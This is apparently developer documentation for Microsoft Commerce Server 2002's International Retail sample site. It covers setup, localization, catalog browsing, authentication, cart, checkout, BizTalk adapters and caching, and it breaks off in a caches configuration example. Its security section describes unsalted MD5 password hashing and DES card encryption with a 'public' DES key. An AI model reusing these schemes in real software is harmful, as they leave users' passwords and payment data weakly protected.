The Business Analytics System does not support importing log file data and other data generated by the International Retail site into the Data Warehouse.


Setting Up the International Retail Site

If you want to explore the International Retail Site whether or not you intend to use Microsoft Visual Studio .NET as your development environment, install the International Retail Site by unpacking the Retail2002.pup file using Commerce Server Site Packager. For information about using Commerce Server Site Packager, see Unpacking a Site.

Note

    The Retail2002.pup file is located at <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002.pup.

    After unpacking the site, set up the International Retail Site Business Desk and import the sample catalog. Using your browser, navigate to http://<myServer>/Retail2002Bizdesk/ to start the Business Desk client setup process.

    To import the sample catalog, see Importing an XML Catalog File. The sample catalog for the site is located at <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet\AdvWorksCatalog.xml.

    The International Retail Site Retail2002.pup file does not include the images associated with the sample catalog. Use the following procedure to install the images associated with the sample catalog:

    1. Unpack the Catalog Sitelet from the same location as the XML file.
    2. Create the folder, <%systemdrive%>\Inetpub\wwwroot\Retail2002\Images\Catalog.
    3. Copy the image files from <%systemdrive%>\Inetpub\wwwroot\NetCatalogSitelet\Images folder to the new Catalog folder.

    See Also

    Setting Up the International Retail Site with Visual Studio .NET


Setting Up the International Retail Site with Visual Studio .NET

If you want to explore or extend the International Retail site using Microsoft Visual Studio .NET as your development environment, you must first unpack the site using Commerce Server Site Packager. For information about using Commerce Server Site Packager, see Unpacking a Site.

The Retail2002.pup file is located at <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002.pup.

Note

  • When you unpack the International Retail Site, you must select SQL Authentication. If you unpack the site using Windows Authentication, which is the default, you will get a runtime error and you will not be able to use the site.

After unpacking the site, set up the International Retail Site Business Desk and import the sample catalog. Using your browser, navigate to http://<myServer>/Retail2002Bizdesk/ to start the Business Desk client setup process.

To import the sample catalog, see Importing an XML Catalog File. The sample catalog for the site is located at <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet\AdvWorksCatalog.xml.

The International Retail Site Retail2002.pup file does not include the images associated with the sample catalog. Use the following procedure to install the images associated with the sample catalog:

  1. Unpack the Catalog Sitelet from the same location as the XML file.
  2. Create the folder, <%systemdrive%>\Inetpub\wwwroot\Retail2002\Images\Catalog.
  3. Copy the image files from <%systemdrive%>\Inetpub\wwwroot\NetCatalogSitelet\Images folder to the new Catalog folder.

After the site has been unpacked and the sample catalog has been imported, you can open the solution file in Visual Studio .NET using the following procedure:

  1. Start Visual Studio .NET.
  2. On the Open menu, click Project.
  3. In the Open dialog box, browse to and select the file <%systemdrive%>\Inetpup\wwwroot\Retail2002\Retail2002.sln.

The Retail2002 projects open in Visual Studio .NET.

Note

  • Do not use the Commerce Server Project Creation Wizard that is integrated into Visual Studio .NET to create the International Retail Site. The International Retail Site solution contains multiple projects that would have to be deleted and re-added manually.

See Also

Setting Up the International Retail Site


International Retail Site Features

The following sections outline the major feature areas of the International Retail Site. These areas are described at a high level. The implementation of the features is described in the Site Infrastructure topics with details in the International Retail Site Reference section.

This section contains:

  • Multiculture Features. Describes the features that support currency, language, and other cultural attributes.
  • Main Page Features. Describes the main page of the International Retail Site.
  • Product Catalog Features. Describes the navigation controls for the product catalog, and product catalog compatibility requirements.
  • Authentication Features. Describes user authentication.
  • Account Management Features. Describes the features that manage user data.
  • Cart Features. Describes the shopping cart page.
  • Transaction Processing Features. Describes the processing of transactions on the International Retail Site.
  • Campaign Features. Describes support for Commerce Server 2002 advertising and discount campaigns.


Multiculture Features

The International Retail Site is globalized and localizable. The site and the sample catalog are localized into four languages, French, German, Japanese and English. The catalog can be found in the following directory:

<drive>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Catalog Sitelet\

See Setting up the International Retail Site for instructions to install the sample catalog.

This section contains:

  • Globalized Architecture. Describes how to add additional cultures to the International Retail Site.
  • Multilanguage Features. Describes support for translated strings, bitmaps, and multilanguage catalogs.
  • Multi-Country/Region Features. Describes the elements supported by the .NET CultureInfo class.
  • Multicurrency Features. Describes the multicurrency feature of the International Retail Site.
  • Other Culture Features. Describes culture-specific address templates and international BizTalk Server issues.


Globalized Architecture

The International Retail Site is designed to allow additional cultures to be added easily to the site. For example, the site code is separate from the string resources. Adding a language to the site is a simple process. See Adding a Language to your Site for more information.

To support globalization, the .NET Framework provides a class called CultureInfo, which represents information about a specific culture. This information includes the writing system, calendars in use, date and time formatting conventions, numeric and currency conventions, and sorting rules. Use the CultureInfo class to describe a specific culture and customize operations, such as formatting dates and numbers, sorting strings, or definitions of character sets to be appropriate for that culture.

For more information about the .NET CultureInfo class, see MSDN Library and search on CultureInfo.


Multilanguage Features

Text information in the site comes from several sources:

  • Catalog data
  • User interface text
  • Graphics that contain bitmapped text

Each of these elements must be managed to fully internationalize a site.

To do this, the site takes full advantage of the multilanguage features of Commerce Server 2002 catalogs. Catalogs, categories, and products have display names for each language in the catalog. See Multilingual Catalogs for more information.

The site also contains string resource files (ResX) for each language supported by the site. Adding a new language is as simple as translating the ResX file and adding the translated file to the site. See Localizing Web Site Text for more information.

Providing localized graphics is similar to skinning the site. See Page Authoring for more information.


Multi-Country/Region Features

Culture information goes beyond language. It includes national or even regional distinctions. For example, there is a different culture code for France-French, Canadian-English, Canadian-French, and U.S.-English.

For more information about the .NET CultureInfo class, see MSDN Library and search on CultureInfo.

The following elements are supported by the .NET CultureInfo class. These elements are supported in the International Retail Site:

  • Numbers
  • Currency (which are numbers with a currency symbol)
  • Time
  • Dates
  • Strings
  • Images


Multicurrency Features

The International Retail site exposes a currency conversion feature which allows the user to view product prices expressed in different currencies. This feature uses configurable exchange rates relative to the site's base currency.

The catalog used in the International Solution Site contains price information in a single currency. If more catalogs are added, all catalogs on the site must use the same base currency.

If the user has chosen a display currency that is different from the base currency for the catalog, the International Retail Site can display an approximate price in the display currency of the user, which is calculated from a simple conversion rate configured on the site. Calculating an accurate conversion involves more complicated calculations, access to current rate information, and rules that often vary for specific conversions. This is outside the scope of this sample site.

See Also

International Transactions


Other Culture Features

The site also demonstrates a business-to-business component that uses Microsoft BizTalk Server to manage the transfer of catalog information and orders. The site displays information relating to orders. You should be aware if you are planning to implement such a system that partner sites may not respond in the culture of the current user or provide multilingual data.


Main Page Features

This section describes the main features that are visible on the primary pages of the International Retail Site.

This section contains:

  • Search
  • Catalog Navigation
  • Site Logo
  • Ad Banner
  • Featured Stories/Products
  • Informational Links
  • Targeted Content
  • Fixed Navigational Links


Search

The International Retail Site provides full-text search, allowing users to search for products based on actual text data rather than using the catalog. The advanced search option allows users more control of a full-text search. Users can search with multiple terms using the logical AND and OR operators, and they can control which catalogs are searched.

By default, search works against the current catalog set. Only the catalogs that are in the user’s catalog set are searched. For anonymous users, only the catalogs in the anonymous user catalog set are searched.

The Search Control and the AdvancedSearch control are used to provide this functionality.


Catalog Navigation

Users navigate the site content through a combination of the Browser control and the NavigationTabs control.

When the user first enters the main page no catalog is selected. The navigation tabs display the catalogs available to the user.

The main content area displays a list of featured products. These products are chosen by the site based on a combination of site configuration and the attributes of the products in the catalog.

The number of products shown in the list of featured products can be changed by the developer. The list of featured products can be configured to select products for display using one of the following methods:

  • Select products by Ad using a PageGroup with a context of "Main" and slot context of featured product.
  • Select products by discount using the same targeting context as ads.
  • Select products by catalog which displays the list of root products (products without parent categories).

    After the user selects a catalog, the Browse navigation control displays the title Browse Categories the top of the control. Below this, it shows the root categories.

    There are three different templates for displaying product information in various areas of the site. This section discusses products shown in the medium template. For more information about product display templates see Product Catalog Display.

    As users drill into catalog categories, the browser control displays their location in the catalog hierarchy and shows the categories below their present location. The products in the current category are shown in the main content area.

    The site can distinguish between authenticated users and anonymous users, and use that information to display different catalogs to the user. As the site is configured the two catalog sets are identical. The catalog sets are specified, and can be changed by editing the web.config file.


Site Logo

The site logo in the upper left corner on the International Retail Site is a link to a static image. This image is selected based on the current culture, so that it can be changed to support different languages. It can be easily changed when customizing the site.

See Also

Page Authoring


Ad Banner

The site provides a location for an ad banner at the top of all pages, immediately to the right of the logo. See International Campaigns for more information.


Featured Stories/Products

When no catalog is selected, the home page shows featured products in the main content area.

There are many strategies for the display of featured content that sites may want to implement. Some examples are:

  • Static content – using static HTML pages.
  • Targeted content – using the Content Selector Framework (CSF) for discounts or ads.


Informational Links

Informational links are provided to the Help, Customer Service, and My Account pages. These links are provided to help the user get the most out of the site.


Targeted Content

To the right of the main area is an area set aside for the display of targeted content. The Content Selection Framework is used to select promotions and discounts. If there are none available, the area is left blank.


Fixed Navigational Links

Across the bottom of the main area are a series of links to the site home page, the site map, user account information, as well as several static pages that represent typical static content for a business-to-consumer e-commerce site.


Product Catalog Features

The International Retail Site displays site catalogs, and supports navigation of the site catalogs through either searching or browsing.

This section contains:

  • Product Catalog Search. Describes full-text search and advanced search as they are used on the International Retail Site.
  • Product Catalog Browsing. Describes the controls used for catalog browsing on the site.
  • Product Catalog Display. Describes the product-display templates.
  • Product Catalog Compatibility. Describes catalog features that are required for the site to function properly.


Product Catalog Search

Catalog search is always available to the left of the main page. There are two types of search, full-text search and advanced search. With both types of search the results are displayed in the main area, and users can also control which catalogs are searched.

Full-text Search

The Search control provides a basic full-text search of the current catalog set when the user click the Search link on the page. It also displays a link to the AdvancedSearch control.

Advanced Search

When the user clicks the Advanced Search link on the page, the AdvancedSearch control appears in the main display area. The AdvancedSearch control allows users to more readily define the parameters for their search. Users can search with multiple terms using the logical AND and OR operators. With advanced search capabilities, users can also control how many items to return on the results page.


Product Catalog Browsing

Users navigate the site by using the Browser control and the NavigationTabs control.

The CatalogNavigationTabs control allows users to select the catalog to browse, or to navigate to the site home page.

The CatalogBrowser control allows users to browse through the categories of the selected catalog. If the catalog contains multiple levels of categories, the control displays the current location in the category hierarchy. This display helps users stay oriented on the site.


Product Catalog Display

Product information is displayed differently in different contexts. There are three product-display templates:

  • Small for search results
  • Medium for product list displays
  • Full for product selection/configuration

The ProductList control is used to display product information when browsing a catalog. The full template is used to display the product when the user has selected a specific product. The VariantDisplay control is used if the selected product has a variant. This control allows users to display and manage product options before placing the product in their cart.


Product Catalog Compatibility

The International Retail Site was designed to use catalogs with a structure similar to the sample catalog.

Required Columns

The following columns must be present in any catalog on the site:

  • Description
  • Image_filename
  • Name

A value is required for the Name column to access the Product details page for that product. The Description and Image_filename columns can be empty.

Recommended Hierarchy

Paging is not implemented on the site. If your catalog has a large number of root-level products, the aspnet_wp process will time out and the site will not respond. Your catalog should contain products within categories, and no single category should contain a large number of products.


Authentication Features

The site designer may configure the International Retail Site to require authentication in order for the user to make a transaction on the site. Authentication makes the shopping experience far easier and more targeted. It allows the user to maintain multiple ship-to addresses, multiple credit card information, and past shopping history.

The International Retail Site allows two types of user authentication:

  • Forms / Passport Authentication

    An authenticated user is a user who has filled out a user profile for the site, or who has logged in through Microsoft Passport. The International Retail Site uses authentication to enhance the retail experience by allowing targeted offers and stream-lined checkout; however, users are not forced to authenticate their visits.

  • Anonymous Authentication

    Users are considered anonymous until they log into the site using either Microsoft Passport or the login page. Anonymous users can still be tracked, but less is known about them, and so less can be done for them. Targeted advertisements, for example, cannot be generated for an anonymous user.

Authentication may be expanded to provide other personalized details such as holiday or birthday wish lists. If the user supplies their profile data in advance, it will also make the checkout process easier.

This section contains:

  • Tracking Users. Describes how the site can track users.
  • Passport Integration Features. Describes Microsoft Passport integration features.
  • Security Features in the International Retail Site. Describes security features as they relate to the International Retail Site.

See Also

  • Authenticating Users
  • Integrating with Passport


Tracking Users

The site tracks user sessions in either cookie or cookieless mode. The site automatically detects client-side cookie support for each session. If persistant cookies are enabled on the client, the site can track return visits of anonymous users, as well as user preferences.

There are three possible states that the site must deal with when tracking user visits:

  • The user allows session and persistent cookies

    User information can be tracked using cookies, and those cookies can be stored on the hard disk between sessions.

  • Session cookies only

    User information can be tracked during the session using cookies, but this data will be deleted at the end of the session. It will not be available for future use.

  • No cookie support

    User information cannot be tracked using cookies. In this case, other means must be used to track user data. The International Retail Site will append the Authorization and Profile tickets to the end of the URL for each page request. This is similar to the method used in the Retail Solution Site.

See Also

Passport Integration Features

Security Features in the International Retail Site


Passport Integration Features

The International Retail Site automatically displays the Passport login button if Microsoft Passport is correctly installed and configured on the server. When the user creates a new account and is authenticated by Passport, the site retrieves the available profile properties from Passport and uses them in the user profile maintained in Commerce Server for that user. This transfer of profile properties is done only once, at new account creation. The site does not maintain any synchronization of profile properties between Commerce Server profiles and Passport profiles.

See Also

Security Features in the International Retail Site

Enabling Passport

Integrating with Passport


Security Features in the International Retail Site

The International Retail Site is not intended for users on a kiosk or shared computer. This is because:

  • User information persists only for the duration of the session; however, browser caches are not automatically cleared at the end of the session. When a user walks away from a kiosk, the user information would remain and potentially be available to other users.
  • Address information will persist until the user either logs out or closes all browser windows.

Note

  • Credit card information will not persist or be cached in the browser.

The International Retail Site uses .NET Framework encryption services to secure the most sensitive user data. Search the MSDN Library at http://go.microsoft.com/fwlink/?LinkId=6680 for more information about the System.Security.Cryptography namespace.

The user password is encrypted using a one-way MD5 hash before it is stored in the password property of the profile. For login password matching, the input password is simply hashed the same way. If the resulting hash matches what is stored in the password property, then a valid login is made. The .NET MD5CryptoServiceProvider class is used to accomplish this hashing. See Security Features at: http://go.microsoft.com/fwlink/?LinkId=6688 for more information about the MD5CryptoServiceProvider class.

Credit card data is also encrypted. The site uses a basic level of encryption for storage of credit card numbers using the .NET DESCryptoServiceProvider class. Key strength will depend on the encryption strength of the operating system. Two keys are required for this encryption method:

  • A public encryption key is stored as a site resource in the Commerce Server Administration database.
  • A private encryption key is a system level property only available to the system applications that need the credit card numbers.

It is important to minimize the number of components that have access to this private key. The Order Processing pipeline is the only Commerce Server component that needs the credit card number exposed so that third party credit card verification services can work.

The only other class of applications that need the credit card number exposed are the back-end line of business systems that need the credit card number to process orders.

The site supports rolling the encryption key pairs. For more information, see Adding Values for Public Key, Private Key, and Key Index Tokens. The method supported is to toggle the encryption keys. This specifically drops old keys after a second key upgrade.

Note

  • This assumes that fulfilled orders that are archived past the return policy date do not need their credit card numbers decrypted anymore.

The site displays stored credit card numbers with a mask, so that only the last four numbers are displayed.

The following example demonstrates creating the masked string:

'Digits is a string containing the full credit card number.
'DigitDisplay is set to the display format.
string DigitDisplay  = string.Format("####-####-###{0:1}-{1}",  Digits[0], Digits.Substring(1));

See Also

Passport Integration Features

Authentication Infrastructure

Adding Values for Public Key, Private Key, and Key Index Tokens


Account Management Features

The account management features of the International Retail Site allow users to manage all the data that the site persists. User account management is not to be confused with profile management in the shopping cart and checkout.

This section contains:

  • Using the Account Management Features. Describes the account managment features.
  • Extending the Account Management Features. Describes how to extend the account management features.

See Also

International Retail Site

International Retail Site Overview


Using the Account Management Features

The account management features for the International Retail Site are reached through the My Account link on the main page. This links to the pages that the user interacts with to create and manage personal account data. Account data includes:

  • Address information
  • Credit card numbers
  • Shipping and billing preferences
  • Language preferences

See Also

Extending the Account Management Features


Extending the Account Management Features

The account management features for the International Retail Site are designed to be extensible by developers. The following controls are used to manage this data:

  • WelcomeUser
  • Navigation
  • MyAccount
  • NewAccount
  • AddressView
  • Addressedit
  • CountrySelector
  • CreditCardList
  • CreditCardSelector
  • CreditCardEdit

These controls manage account data that is stored and modeled by the Profiling System. (Microsoft.CommerceServer.Runtime.Profiles).

Programmer access to the data is provided through the Profile class.

Programmer access to the schema is provided through the Profile Service class.

The user interface changes to conform to the schema. The user interface reflects the correct number of properties, property names, data type, and length even if the schema is changed, supporting the flexibility and extensibility of the user interface.

Notes

  • All account data is stored in Unicode format to facilitate multilanguage processing and display.
  • The OLE DB Provider for Commerce Server can handle bulk loading of profile data, and it can consume external third-party data sources to expose the data sources as additional profile objects.
  • The site schema is compatible with the Retail Solution Site schema to facilitate migration and maintain continuity.
  • Users are allowed to delete their profile data (but they may not delete their order data). If users delete their profile data, all associated user address and credit card data are also deleted.

See Also

Using the Account Management Features


Cart Features

In the International Retail Site the shopping cart is displayed to a user after the user clicks the "cart" button, located in the upper right corner of most pages, as well as the Add to Cart button.

The Cart display contains a currency drop-down list that takes its values from each row in the currency conversion table. The user can click the down arrow to pick a currency and then click the Convert Currency button to convert the currency into the currency chosen from the list. This modifies the prices in the cart and shows the users their purchases in the new currency. The new currency is displayed using the localization properties for the user.

Note

  • The values in the currency conversion table are approximate. In a production system this code should be replaced with functions that can supply the current rate of exchange.

The cart and order management architecture is extensible to support different cart types, for example, holiday lists, wedding lists, birthday lists, user defined lists, and order history.

The cart is composed of a functionally isolated section of code in order to facilitate reuse and extensibility. The code can be easily modified to create different cart types.

The following table lists the data displayed in the cart for each line item.

Property | Type | Required | Description
Remove | Check box | Yes | Allows users to remove individual line items.
Quantity | Edit Field, Real | Yes | Allows users to modify the number of items in the cart. Setting this property to zero will remove the item from display.
Item name | String | Yes | Human readable product name. The name is linked to the appropriate product page.
Item discount | String | No | Show any discounts associated with this line item.
Localized Price | Currency | Yes | Localized version of the price. If the price is localized, an asterisk (*) is displayed and a disclaimer is placed at the bottom of the cart page to inform the user that the price is approximate.

The following table lists all order level information for the shopping cart.

Property | Type | Req | Description
Order level discounts | Currency | No | Show all order level discounts, including free shipping, if applicable.
Localized subtotal | Currency | Yes | Allows users to view the sub total.
Discount comments | Text | No | Allows users to view short descriptions of the applied discounts.
Currency disclaimer | String | Yes | If the currency for the user is not the site currency, then display a disclaimer noting that the price is approximate.
Item discount comments | String | No | Show discount descriptions for the discounts that are applied to the cart.

See Also

Exploring the International Retail Site

Step 1: Adding Data to the Site


Transaction Processing Features

The International Retail Site provides a check out process for both authenticated and anonymous users. The primary difference between an authenticated user and an anonymous user is that profile data will be used to pre-populate fields for authenticated users while anonymous users will have to fill out all required data manually.

Once the registered user has selected items to purchase, the user puts those items into the cart and then clicks the Check Out button. The user is redirected to the check out page (checkout.aspx). Items to be purchased on the check out page are presented in a format that is similar to the shopping cart, but the user does not have the ability to change the contents or the quantity. If the user wants to change the contents or the quantity in the cart, the user must use back button to return to the cart.

A drop-down control allows an authenticated user to select a shipping address, which is stored in the user's profile. The site can store multiple named shipping addresses as part of the user profile for authenticated users. This feature is not available for anonymous users, since these users have not filled out the account information and passwords associated with authentication.

If the user needs to create a new address or edit an existing address, the user can click the appropriate link. Once the user has saved the new address, the user is returned to the check out page.

A drop-down list allows the user to select a shipping method. A control in the lower right of the check out page displays the current credit card information and contains a link to the payment page (paymentoption.aspx) where this information can be entered or modified.

Once all the required information is provided, the user can either complete the purchase or click on the multiple shipment link to set up shipments to multiple addresses.

Credit Card Validation

The International Retail Site simulates credit card validation with a simple checksum verification verifying that the number is in the valid format. This demonstrates the hooks necessary to connect the site to a third party validation system.

See Also

Transactions and the Order Processing Pipeline

Working with Business Desk

Customizing Shipping Methods


Campaign Features

The International Retail Site supports two types of campaigns: ads and discounts.

This section contains:

  • Advertising Features. Describes how to use banner ads across the top of the main page and targeted ads displayed in a control on the right edge of the page.
  • Discount Features. Describes how discounts are displayed during checkout.
  • Multilingual Campaigns. Describes how to extend the targeting context to support a specific language.

See Also

Business Desk Campaigns

Content Selection Pipelines


Advertising Features

The site is initially configured to support a full banner ad in the header of most pages, and a vertical banner on the right side of many pages.

Ads are displayed by the control ContentItemControl. The control provides context information in a call to the appropriate Content Selection Framework pipeline to select the item to display. The site code must set the ContentSelector Class object dictionary Language property with the language currently preferred by the user prior to calling the object. This will provide the language-targeting context for consideration by the ContentSelector object.

The ContentItemControl control exposes a culture property. This property is set by default to the culture of the site. It can be changed to a different culture to allow targeting expressions to be used to target content based on a specific culture.

See Also

Ads

Discount Features

Multilingual Campaigns


Discount Features

Discounts are displayed during checkout. They are typically based on the content of the shopping cart at the time of checkout. Discounts use the same ContentItemControl control as ads.

The ContentItemControl control exposes a culture property. This property is set by default to the culture of the site. It can be changed to a different culture to allow targeting expressions to be used to target content based on a specific culture.

Each discount item provides support for a localized shopping cart text display message. This message should contain the percentage off or dollar amount off of the purchase. In the case of dollar amount off discount, the localized text must use the site currency in the dollar off message even if the preferred currency of the user is some other currency. The site does not convert the dollar off amount to another currency for display.

See Also

Discounts

Advertising Features

Multilingual Campaigns


Multilingual Campaigns

Multilingual campaigns are supported by extending the targeting context with the culture property. This allows creation of expressions and target groups based on the culture property, for example, English, to allow targeting English language advertising. The language target group must use the "Require" action; this ensures that the targeting is deterministic.

A campaign (advertising, discounts, direct mail job) item must be created for each language the site supports. Each campaign item must include the language target group for which the campaign item is intended. If the campaign item is intended for an English language site, then the English language target group must be assigned to the campaign item.

If images containing text are used in the campaign item, each campaign item must provide images localized into each language. Each campaign item must also provide localized alternate text to support accessibility.

See Also

Advertising Features

Discount Features


BizTalk Server Integration Features

The International Retail site and accompanying retail2002B2B service demonstrate connecting Commerce Server 2002 sites through BizTalk Server.

The Biztalk Server integration feature consists of a set of adaptors that enable Commerce Server 2002 to exchange catalogs, purchase orders, and purchase order update messages with trading partners using Microsoft BizTalk® Server.

Microsoft BizTalk Server provides a gateway for sending business documents between your company and your trading partners. BizTalk Server manages the data translation, encryption, digital signatures, and document tracking services for many different transport mechanisms.

You can use BizTalk Server and Commerce Server together to process orders that users place on your Commerce Server Web site. For specific information about BizTalk Server integration with Commerce Server 2002, see About the BizTalk Server Integration Feature.

This feature is a technology demonstration intended for developers and is not intended for a production environment.

For detailed installation instructions, see the file <%systemdrive%>\Program Files\Microsoft Commerce Server 2002\SDK\Samples\ASPNET\Retail2002\Retail2002_BizTalk Deployment.doc. This file is also available in the <%systemdrive%>\Inetpub\wwwroot\Retail2002B2B folder after the site has been unpacked.

The International Retail Site provides the following BizTalk Server adapters:

  • Catalog Adapter. Describes the catalog adaptor and how it works.
  • Order Adapter. Describes the order adaptor and how it works.
  • Order Status Adapter. Describes the order status adaptor and how it works.

See Also

About BizTalk Server

About the BizTalk Server Integration Feature

Integrating with BizTalk Server


Catalog Adapter

The catalog adapter allows BizTalk Server to automatically import a catalog that has been exported by another site. The publisher sends the catalog file to a specific folder on the receiving site and the adapter imports it into the receiving site.

Business Desk and the CatalogManager APIs support the ability to export XML-Data Reduced (XDR) data that is compliant with BizTalk Server for mapping.

The International Retail Site also provides a catalog Application Integration Component (AIC) that wraps the APIs for getting the catalog document into and out of BizTalk Server.

Note

  • Some catalogs may be very large so it is assumed that message queuing is not used in this process.

See Also

Order Adapter

Order Status Adapter

CatalogManager.ExportXML Method (PIA)


Order Adapter

The order adapter allows a business-to-consumer site to send an order to a supplier.

The order adapter and order status adapter use the POSCHEMA.XML order form for compatibility with BizTalk Mapper.

This adapter is a BizTalk Server-complaint AIC that wraps the Commerce Server 2002 order to XML component. The order adapter is provided so that BizTalk Server can use this AIC to work on order XML documents during run time.

See Also

Catalog Adapter

Order Status Adapter


Order Status Adapter

The order status adaptor receives order status update messages from suppliers as the orders are filled, shipped, back-ordered, and so on. These messages are routed through BizTalk Server into Commerce Server where the original order record is updated. The order status can be viewed from within Commerce Server Business Desk. The user who placed the order can also view the order status through Commerce Server.

You use the Orders module in Commerce Server Business Desk to view the order status.

See Also

Catalog Adapter

Order Adapter


International Retail Site Infrastructure

The International Retail Site is an ASP.NET-based site. It is based on the Commerce Server 2002 Base Class Library (BCL). This approach reduces the amount of code in the site compared to basing the site on the Commerce Server 2002 Primary Interop Assembly (PIA) or COM classes.

Reference information about the BCL can be found in the .NET Class Reference section. Additional information about using the BCL can be found in ASP.NET samples in the Commerce Server SDK.

The International Retail Site is implemented as a .NET solution using multiple Microsoft Visual Basic .NET and Microsoft Visual C# projects. The codebehind pages for the ASPX pages are written in Visual Basic .NET with core functionality in compiled assemblies written in Visual C#. All the source code for the assemblies is included in subfolders of the unpackaged site.

This section contains:

  • Page Model. Describes the execution model for the ASPX pages in the site.
  • Controls Infrastructure. Describes the controls in the site.
  • Caching Infrastructure. Describes data caching in the site.
  • Site Configuration. Describes the different types of configuration settings in the site.
  • Authentication Infrastructure. Describes user authentication and how the site tracks users.
  • Error Handling. Describes the error-handling framework in the site.


Page Model

There are several characteristics that distinguish an ASP.NET application from an ASP application:

  • In ASP.NET, there is a user interface/markup page and a code-behind page for every Web page.
  • The layout and appearance of the page is separated from the code. Code is contained in codebehind pages, typically with an extension of .aspx.vb, or in .NET components that implement certain functionality and business logic, but not the user interface.
  • Components are compiled into assemblies.

Cascading style sheets (CSS) are used to manage the look and feel of each user interface element. Most user interface elements are implemented using controls. They can be either user controls or custom Web controls. For more information about the controls used on the International Retail Site, see Controls Infrastructure.

This is a modular design that enables plug-and-play features, making it easy to customize, extend, localize, and globalize your site. All user interface text is retrieved using the ASP.NET Resource Manager. The site uses the.NET CultureInfo class to display locale specific data. For more information about the .NET CultureInfo class, see http://msdn.microsoft.com/library/.

Some of the advantages of control-based user interface development are:

  • You can change the behavior of a control by getting or setting control properties.
  • You can write new controls that inherit from existing controls.
  • It is easy to upgrade and maintain your site. You do not need to shut down the site to replace a control.

It is easy to customize a site without code changes:

  • CSS style sheets can be easily replaced without code changes.
  • User interface pages and images can be replaced without code change or recompilation.
  • Properties for custom Web controls or user controls can be set to change their appearances.


Controls Infrastructure

ASP.NET is used to manage and create most of the user interface in the International Retail Site. This section contains an overview of these controls and the methods used to program them.

This section contains:

  • Types of Controls in ASP.NET. Describes the ASP.NET user interface controls that are used on the International Retail Site.


Types of Controls in ASP.NET

There are two types of user interface controls in ASP.NET, and the International Retail site uses both types of control as appropriate:

  • Custom Web controls

    Custom Web controls can be shipped as compiled assemblies. User interface rendering must be done manually through code. In addition to a standard set of properties, a custom Web control can have additional properties with richer design support.

    Custom Web controls inherit from system.web.UI.Webcontrols for their user interface, and then extend the functionality of their parent. For example, the countryselector control inherits from system.web.UI.WebControls.dropdownlist. For more information about Custom Web Controls, see the topic system.web.UI.Webcontrols Namespace in the .NET SDK documentation.

  • User controls

    A user control consists of a user interface page (with the extension .ascx) and the codebehind code. The user interface page and its code must be included into the ASP.NET application. User interface rendering is done automatically using the .ascx page. A user control can contain any number of other user controls or custom Web controls. A user control can have its own properties that can be set at design time, but there is little support for the site designer.

    User controls can have public properties that can be set in the containing page. These properties can control the appearance and behavior of the control. There are two advantages of having these public properties:

    • Properties can be set by the containing page at design time
    • Properties can be set programmatically at run time

See Also

Setting User Control Properties at Page Design Time

Setting User Control Properties Programmatically at Run Time


Setting User Control Properties at Page Design Time

User controls have properties that affect how the controls are displayed. These properties can be set at design time or at run time. The following example shows how a control is used at design time. For more information about setting user control properties at run-time, see the Setting User Control Properties Programmatically at Run Time.

In the following example, suppose there is a simple user control "Header" that exposes the property BannerImagePath as a public property. The control uses this property as the path to the image resource in the header. The following code is from a typical .aspx page that contains such a header control:

<%@ Page Language="vb" AutoEventWireup="false" Codebehind="default.aspx.vb" Inherits="Microsoft.CommerceServer.CommerceSite.DefaultForm"%>
<%@ Register TagPrefix="misc" TagName="Header" Src="Misc/header.ascx" %>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
  <body>
<misc:Header id="Header" BannerImagePath=”.\mycompany.jpg” runat="server"></misc:Header></TD>
  </body>
</HTML>

In the code example, the property is set by the containing page. The site developer does not need to open the user control or the source file.


Setting User Control Properties Programmatically at Run Time

User controls have properties that affect how the controls are displayed. These properties can be set at design time or at run time. The following example shows how a control is used at run time. For more information about setting properties at design time, see Setting User Control Properties at Design Time.

In the following example, suppose there is a simple user control "Header" that exposes the property BannerImagePath as a public property. The control uses this property as the path to the image resource in the header.

In this case, the site developer can easily get or set the property value programmatically at run time, as shown in the following code from the (aspx.vb) page:

Public Class DefaultForm
  Inherits System.Web.UI.Page
#Region " Web Form Designer Generated Code "
…
#End Region
  Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    Dim header as HeaderCtrl = Page.FindControl( “Header”)
    If HeaderCtrl is nothing Then
      Throw new ControlNotFoundException
    End If
    If DateTime.Now.Hour < 12 Then
      headerCtrl.BannerImagePath = “./goodmorning.jpg”
    Else
      headerCtrl.BannerImagePath = “./goodafternoon.jpg”
    End if
  End Sub
End Class


Caching Infrastructure

The International Retail Site uses caching techniques available from ASP.NET and Commerce Server 2002, and makes optimum use of both as required. The site is designed so that all static data elements and dynamic data that do not change often are cached.

This section contains:

  • Commerce Server 2002 Caching Techniques. Describes the Commerce Server 2002 caching techniques used on the International Retail Site.

Note

  • When you delete a catalog from the site, the site continues to display the cached copy of the catalog until you perform an IISReset. If you add an item from the deleted catalog to your cart, a runtime error occurs.


Commerce Server 2002 Caching Techniques

Commerce Server 2002 provides the CacheManager object, which is well suited for ASP-based applications and Commerce Server pipelines.

For an ASP.NET-based application using Commerce Server 2002, it is more efficient to use ASP.NET caching techniques whenever possible since this provides all the advantages of the .NET framework features (for example, managed code and integrated functionality with ASP.NET).

Several Commerce Server pipelines, such as the basket, checkout, and Content Selection Framework pipelines, are inherently dependent on the CacheManager object for caching their native data. Therefore, the International Retail Site contains some caches that use the CacheManager object. All of the caches are configured and initialized using the <caches> configuration information in the web.config file.

The following is a list of data caches that use the CacheManager object:

  • AdvertisingDiscounts
  • SampleRegionalTaxCache
  • ShippingManagerCache
  • QueryCatalogInfoCache

Additionally, Commerce Server 2002 provides some degree of internal data caching using the Base Class Library (BCL). Some frequently used items of data that are exposed through properties are cached. This can lead to the Commerce Server Business Desk user needing to "publish" to the Web site to clear a cache. A Refresh method is provided in all BCL objects that employ caching. This method is called when a Business Desk refresh message is received by the International Retail Site.

Caches Tag

The Caches tag is a container element for cache tags that are used to configure CacheManager-based caches in the application. The cache configuration supports a number of default configurations for advertising, discounts, and other types of caches common to Commerce Server. In each case, the cache type has its own default options associated with it; however, the default options can all be overridden. The following code example shows how to use the caches tag:

<caches>
      <cache name="name"
